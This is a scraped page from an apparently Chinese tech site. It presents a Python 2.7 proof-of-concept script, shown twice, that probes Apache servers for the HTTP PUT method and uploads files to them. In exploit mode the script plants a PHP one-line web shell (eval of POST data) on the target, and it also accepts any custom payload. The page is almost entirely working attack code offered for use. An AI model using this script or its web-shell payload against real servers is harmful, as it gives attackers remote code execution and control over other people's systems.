您好,登錄后才能下訂單哦!
Python 2.7
requests
sys
Windows 7
Apache 已完成put配置。
PHP
Apache PUT配置
def main():
if len(sys.argv) < 2 :
print u'''
Version:1.0
請輸入將要驗證的URL(eg:Put2Poc.py http://test.com)
Put2Poc.py arg1 arg2
arg1:目標URL
arg2: 選擇(1)驗證OR(2)利用(默認為驗證)
arg3: 選擇上傳文件的目錄,默認為/(eg:/test/)
arg4: 設置長傳的文件的文件名,默認為test.html
arg5:設置特定的利用payload(默認漏洞利用為:<?php @eval($_POST[1]) ?>)
注:當前版本僅支持PHP語言的利用'''
sys.exit()
if len(sys.argv) >= 2 :
url = sys.argv[1]
YN = 1
path = '/'
filename = 'test.html'
content = None
# print url
if 'http' not in url :
print u'請輸入協議HTTP/HTTPS(eg:Put2Poc.py http://test.com)'
sys.exit()
if len(sys.argv) >= 3 :
# print type(sys.argv[2])
if sys.argv[2] in '2' :
filename = 'test.php'
if sys.argv[2] not in ['1','2'] :
print u'輸入的設置有誤,請選擇正確的設置(1:驗證|2:利用)'
sys.exit()
YN = sys.argv[2]
if len(sys.argv) >= 4 :
path = sys.argv[3]
if len(sys.argv) >= 5 :
filename = sys.argv[4]
if len(sys.argv) >= 6 :
content = sys.argv[5]
if len(sys.argv) > 6 :
print u'請檢查參數設置'
sys.exit()
r_options = Test2Option(url,YN)
if content is not None :
Put2File(url,YN,r_options,path,filename,content)
else:
Put2File(url,YN,r_options,path,filename)
# print r_options
參數 code : 請求返回的狀態碼
def Error2status(code):
if 400 <= code < 500:
return 4
if 500 <= code < 600 :
return 5
if 200 <= code < 400 :
return True
參數 url : 請求的URL
參數 YN : 選擇驗證漏洞或者利用漏洞,默認為驗證。
def Test2Option(url,YN):
try:
r = requests.options(url,verify=False,timeout=10)
except :
print u'Error,請檢查鏈接是否可以訪問'
sys.exit()
r_options = r.headers
r_status_code = Error2status(r.status_code)
if r_status_code == 4 :
print u'%s Client Error for url: %s' % (r.status_code,url)
print u'該鏈接不支持OPTIONS方法'
sys.exit()
if r_status_code == 5 :
print u'%s Server Error for url: %s' % (r.status_code,url)
print u'請檢查鏈接是否可以訪問'
sys.exit()
if r_status_code is True :
print u'該鏈接存在不安全的HTTP方法'
print r_options['Allow']
return r_options['Allow']
參數 url : 測試的URL
參數 YN : 選擇驗證漏洞或者利用漏洞,默認為驗證。
參數 r_options : 網站所支持的HTTP請求方法。
參數 path : 文件上傳位置
參數 filename : 文件名
參數 content : 自定義文件內容。
def Put2File(url,YN,r_options,path,filename,content=None):
url = url.rstrip('/') + path + filename
print url
headers = {
'Accept': '*/*',
'Accept-Language': 'en-US',
'User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.0; Win32)'
}
data = '<script>alert(1)</script>'
if YN is '2':
data = '<?php @eval($_POST[1]) ?>'
if content is not None :
data = content
r = requests.put(url,headers=headers,data=data)
r_status_code = Error2status(r.status_code)
if r_status_code == 4 :
print u'%s Client Error for url: %s' % (r.status_code,url)
print u'服務器禁止上傳文件'
if r_status_code == 5 :
print u'%s Server Error for url: %s' % (r.status_code,url)
print u'服務器禁止上傳文件'
if r_status_code is True :
print u'Server status code: %s' %(r.status_code)
print u'服務器支持PUT文件上傳'
print u'文件名: %s' %(filename)
print u'文件內容: %s' %(data)
print u'文件長傳位置為: %s' %(path)
print u'文件鏈接: %s' %(url)
print r.content
#/usr/bin/env python
#coding:utf-8
#
#Author:nw01f
#Date:2018.01.11
#Version:1.0
#
import requests
import sys
def Error2status(code):
if 400 <= code < 500:
return 4
if 500 <= code < 600 :
return 5
if 200 <= code < 400 :
return True
def Test2Option(url,YN):
try:
r = requests.options(url,verify=False,timeout=10)
except :
print u'Error,請檢查鏈接是否可以訪問'
sys.exit()
r_options = r.headers
r_status_code = Error2status(r.status_code)
if r_status_code == 4 :
print u'%s Client Error for url: %s' % (r.status_code,url)
print u'該鏈接不支持OPTIONS方法'
sys.exit()
if r_status_code == 5 :
print u'%s Server Error for url: %s' % (r.status_code,url)
print u'請檢查鏈接是否可以訪問'
sys.exit()
if r_status_code is True :
print u'該鏈接存在不安全的HTTP方法'
print r_options['Allow']
return r_options['Allow']
def Put2File(url,YN,r_options,path,filename,content=None):
url = url.rstrip('/') + path + filename
print url
headers = {
'Accept': '*/*',
'Accept-Language': 'en-US',
'User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.0; Win32)'
}
data = '<script>alert(1)</script>'
if YN is '2':
data = '<?php @eval($_POST[1]) ?>'
if content is not None :
data = content
r = requests.put(url,headers=headers,data=data)
r_status_code = Error2status(r.status_code)
if r_status_code == 4 :
print u'%s Client Error for url: %s' % (r.status_code,url)
print u'服務器禁止上傳文件'
if r_status_code == 5 :
print u'%s Server Error for url: %s' % (r.status_code,url)
print u'服務器禁止上傳文件'
if r_status_code is True :
print u'Server status code: %s' %(r.status_code)
print u'服務器支持PUT文件上傳'
print u'文件名: %s' %(filename)
print u'文件內容: %s' %(data)
print u'文件長傳位置為: %s' %(path)
print u'文件鏈接: %s' %(url)
print r.content
def main():
if len(sys.argv) < 2 :
print u'''
Version:1.0
請輸入將要驗證的URL(eg:Put2Poc.py http://test.com)
Put2Poc.py arg1 arg2
arg1:目標URL
arg2: 選擇(1)驗證OR(2)利用(默認為驗證)
arg3: 選擇上傳文件的目錄,默認為/(eg:/test/)
arg4: 設置長傳的文件的文件名,默認為test.html
arg5:設置特定的利用payload(默認漏洞利用為:<?php @eval($_POST[1]) ?>)
注:當前版本僅支持PHP語言的利用'''
sys.exit()
if len(sys.argv) >= 2 :
url = sys.argv[1]
YN = 1
path = '/'
filename = 'test.html'
content = None
# print url
if 'http' not in url :
print u'請輸入協議HTTP/HTTPS(eg:Put2Poc.py http://test.com)'
sys.exit()
if len(sys.argv) >= 3 :
# print type(sys.argv[2])
if sys.argv[2] in '2' :
filename = 'test.php'
if sys.argv[2] not in ['1','2'] :
print u'輸入的設置有誤,請選擇正確的設置(1:驗證|2:利用)'
sys.exit()
YN = sys.argv[2]
if len(sys.argv) >= 4 :
path = sys.argv[3]
if len(sys.argv) >= 5 :
filename = sys.argv[4]
if len(sys.argv) >= 6 :
content = sys.argv[5]
if len(sys.argv) > 6 :
print u'請檢查參數設置'
sys.exit()
r_options = Test2Option(url,YN)
if content is not None :
Put2File(url,YN,r_options,path,filename,content)
else:
Put2File(url,YN,r_options,path,filename)
# print r_options
if __name__ == '__main__':
main()
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。